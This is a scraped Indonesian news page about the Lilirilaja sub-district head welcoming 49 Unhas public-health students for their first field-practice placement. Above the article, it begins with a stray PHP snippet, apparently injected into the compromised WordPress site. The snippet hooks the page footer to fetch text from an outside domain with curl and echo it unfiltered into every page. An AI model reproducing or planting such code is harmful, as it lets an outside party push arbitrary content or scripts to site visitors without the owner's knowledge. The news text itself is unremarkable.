function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Camat Lilirilaja Sambut 49 Mahasiswa PBL I FKM Unhas - Suluh Nusantara

Home / Uncategorized

Senin, 14 Juli 2025 - 19:09 WIB

Camat Lilirilaja Sambut 49 Mahasiswa PBL I FKM Unhas

Lilirilaja, 14 Juli 2025 — Pemerintah Kecamatan Lilirilaja resmi menerima kedatangan 49 mahasiswa dari Fakultas Kesehatan Masyarakat Universitas Hasanuddin (FKM Unhas) yang akan melaksanakan Praktik Belajar Lapangan (PBL) I di wilayah Kecamatan Lilirilaja. Penerimaan mahasiswa ini dilaksanakan pada Senin, 14 Juli 2025 dan disambut langsung oleh Camat Lilirilaja, bersama jajaran perangkat kecamatan serta kepala desa.

Selamat datang di kecamatan Lilirilaja untuk mahasiswa PBL I. Tolong adik adik mahasiswa jaga sikap dan etika karena ini adalah tahap awal kalian dalam PBL ini dan kalian akan kembali sebanyak 2 kali di tempat yang sama” ujar Camat Lilirilaja dalam sambutannya. Dalam pelaksanaan PBL I ini, para mahasiswa akan disebar ke 7 desa dan kelurahan di Kecamatan Lilirilaja  diantaranya Rompegading, Pattojo, Galung, Appanang, Jennae, Jampu dan Barang untuk melakukan pengumpulan data, observasi lapangan, pemetaan potensi dan permasalahan kesehatan serta penentuan prioritas masalah di masing masing desa/kelurahan. Kegiatan ini merupakan tahap awal dari rangkaian pengabdian masyarakat yang akan dilanjutkan di PBL II.

Baca Juga  Team Research Group Social Epidemiology Of Non-Communicable Disease (TRG SE NCD) FKM Unhas Gelar Pengabdian Dan Penelitian Pada Angota Prolanis Di Puskesmas Kasi -Kasi Makassar

Mahasiswa akan melakukan PBL di 7 lokasi dan akan Kembali untuk kedua dan ketiga kalinya” ujar Supervisor Desa Barang Dr. Ria Rezeki Sudarmin SKM., M.Kes.

Sesi dokumentasi antara supervisor dan mahasiswa PBL I FKM Unhas bersama pihak Kecamatan Liliriaja

Pihak kecamatan menyatakan siap mendukung penuh kegiatan mahasiswa selama berada di lapangan, termasuk dalam hal koordinasi dengan pemerintah desa, tenaga kesehatan, serta masyarakat.

Baca Juga  Seminar Awal Mahasiswa PBL I FKM Unhas di Desa Citta, Kecamatan Citta, Kabupaten Soppeng: Membangun Sinergi Awal dalam Pemetaan Permasalahan Kesehatan Masyarakat

Jangan ragu untuk berkordinasi dengan kami karena itu akan sangat membantu teman teman dalam proses PBL ini,” tambah Camat. Pelaksanaan PBL I di Kecamatan Lilirilaja turut mendukung arah kebijakan Asta Citta Kabupaten Soppeng, yang menekankan pentingnya pembangunan sumber daya manusia, penguatan pelayanan dasar, dan peningkatan tata kelola pemerintahan yang berbasis data dan partisipatif. Kegiatan ini menjadi bentuk sinergi antara institusi pendidikan tinggi dan pemerintah daerah dalam mewujudkan desa yang sehat dan berdaya. Kegiatan PBL I ini akan berlangsung selama dua minggu, dan dijadwalkan berakhir pada 28 Juli 2025 dan ditemukannya prioritas masalah kesehatan pada daerah tersebut.

Share :

Baca Juga

Uncategorized

Evaluasi Intervensi Edukasi MP-ASI Berbasis Pangan Lokal oleh Posko 20 PBL III FKM Unhas di Desa Kapita

Uncategorized

PBL III FKM Unhas: Evaluasi Edukasi Bahaya Asap Rokok Melalui Media Poster X-Banner oleh Posko 14 PBL III FKM UNHAS di Desa Tombo-Tombolo

Uncategorized

PBL I di Desa Rompegading, Kecamatan Liliriaja, Kabupaten Soppeng : Mahasiswa FKM Unhas Memulai Langkah Belajarnya Bersama Masyarakat

Uncategorized

Edukasi Stunting Sejak Dini: Siswa MTs Babussalam DDI Kassi dan SMP DDI Babussalam Kassi, Kelurahan Tonrokassi Barat Berkontribusi Lewat Lomba Poster

Uncategorized

Posko 23 PBL 2 FKM Unhas Gelar Seminar Akhir: Hasil Intervensi Kesehatan di Desa Bontosunggu

Uncategorized

Peningkatan Pengetahuan Stunting dan Variasi MPASI untuk Masa Depan Sehat

Uncategorized

FKM Unhas dan Universiti Putra Malaysia Perkuat Kolaborasi Internasional melalui Collaboration Meeting

Uncategorized

Mahasiswa FKM Unhas Rampungkan PBL 1 di Desa Laringgi: Identifikasi Masalah Hipertensi dan Sampah Jadi Fokus Utama